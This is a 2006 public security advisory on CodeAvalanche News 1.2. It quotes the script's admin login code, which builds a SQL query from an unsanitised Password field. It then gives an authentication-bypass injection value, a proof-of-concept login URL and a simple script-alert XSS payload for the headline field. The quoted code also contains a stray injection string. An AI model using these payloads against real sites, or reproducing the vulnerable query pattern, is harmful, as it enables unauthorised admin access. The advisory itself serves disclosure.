CANews Multiple Vulnerabilities May 18 2006 06:28PM
omnipresent email it
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- CANews Remote Multiple Vulnerability -

-= http://colander.altervista.org/advisory/CANews.txt =-

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-= CodeAvalanche News Version 1.2 =-

Omnipresent

May 18, 2006

Vunerability(s):

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SQL Injection

XSS Attack

Product:

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CodeAvalanche News Version 1.2

Vendor:

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http://www.truecontent.info/codeavalanche/asp-news-publishing-script.php

Description of product:

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CodeAvalanche News is asp application which allows webmasters to easy add news page to their website.

Resource Specification

Platform(s): windows

Date Added: Mar 8, 2005

Last Updated: May 5, 2006

Author: xfairguy

Vulnerability / Exploit:

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In [path_of_appl.]\admin directory, there is the file default.asp and it contain a vulnerable code; because the variable

Password is not properly sanitized.

A malicious people can Inject SQL code by Password variable.

Let's look the source code, to understand the problem:

[default.asp]

[...]

userLogged=false

If Request("Password")<>"" Then

'response.Write(Request("Password"))

'response.flush

dim rsUser,selectSQL

selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"

a' OR 'a' = 'a

'response.Write(selectSQL)

set rsUser = Server.CreateObject("ADODB.Recordset")

rsUser.ActiveConnection =connStr

rsUser.Source = selectSQL

rsUser.CursorType = 3

rsUser.CursorLocation = 2

rsUser.LockType = 3

rsUser.Open()

[...]

[End default.asp]

As you can see the problem is in the string selectSQL. The input passed by the variable Password is not properly sanitized so

an attacker can Inject arbitrary SQL code. Look this example:

If the variable Password is : 1' OR '1' = '1

The selectSQL string looks like:

selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'

And you can gain access to the application with admin rights.

- XSS Attack Explaination -

There is also an XSS bug in this application.

If you put in add_news.asp in the field Headline a script like:

<script>alert("XSS Attack")</script>

You can see the alert message "XSS Attack"

PoC / Proof of Concept of SQL Injection:

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An attacker can go to this URL:

http://127.0.0.1/[path_of_application]/CANews/Admin/default.asp?password
=1' OR '1' = '1&Submit=Login

Vendor Status

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Not informed!

Credits:

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omnipresent

omnipresent (at) email (dot) it [email concealed]

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